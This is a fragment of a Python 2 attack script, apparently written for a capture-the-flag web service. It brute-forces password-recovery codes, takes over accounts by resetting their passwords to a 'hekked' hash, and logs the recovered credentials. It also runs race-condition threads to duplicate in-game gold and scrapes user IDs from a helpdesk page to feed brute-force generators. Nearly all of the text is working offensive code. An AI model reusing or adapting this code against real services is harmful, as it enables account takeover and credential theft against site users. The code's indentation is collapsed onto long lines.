def do_change(self, obj): LOGGER.info('Changing password for: %s', obj.user) req = urllib2.Request('http://{0}/change_password.php'.format(TARGET_HOST), urllib.urlencode({ 'password': obj.password, 'newpassword': sha1('{0}|hekked'.format(obj.user)).hexdigest(), 'newpassword2': sha1('{0}|hekked'.format(obj.user)).hexdigest(), }) ) data = my_url_open(obj.opener, req) if 'error' not in data: LOGGER.critical('Password changed for user: %s', obj.user) return True
def run(self): while 1: self.generate_opener() data = self.brute_login(MY_LOGIN, MY_PASSWORD) if 'Transactions' in data: LOGGER.info('Account protected') else: LOGGER.critical('Our account hacked!') if self.dup_gold: obj = account_data(MY_LOGIN, MY_PASSWORD, data, self.opener) RaceObject.set_obj(obj) with RaceObject.RaceLock: RaceObject.RaceLock.notify() RaceObject.RaceLock.wait() time.sleep(0.05)
def run(self): while 1: self.generate_opener() account = RECOVER.get() LOGGER.info('Trying to recover: %s', account) if account in known_users: continue if not self.pre_test(account): LOGGER.info('Impossible to recover: %s', account) continue for i in xrange(1, 251): data = self.brute_one(account, i) if 'Identifier not found' in data: break if 'repeat' in data: continue result = NEW_PASSWORD.search(data) if result: data = self.do_login(account, result.group(1)) if self.check(data): LOGGER.critical('RECOVERED: %s %s', account, result.group(1)) add_good(account, result.group(1), data, self.opener) break
for i in xrange(1): change = Changer() change.start() for i in xrange(1): # TODO: Conflicts with stealer, can be just nullified recov = Recover() recov.start() for i in xrange(2): enemy = Bruter_Enemy() enemy.start() data = get_helpdesk() logins = re.findall('(?msi)<td>(\d+)</td>[^<]*<td>[^<]*</td>[^<]*<td>(\d+)</td>', data) LOGGER.critical("%r", logins) if 1 and logins: creator = OrderedSet() map(lambda x: creator.add(x[1]), logins) for login in logins: with open('users{0}.txt'.format(login[1].strip()), 'wb') as f: f.write('{0}\n'.format(login[0].strip())) map(lambda x: Generator_numeric(int(x)).start(), creator) #exit()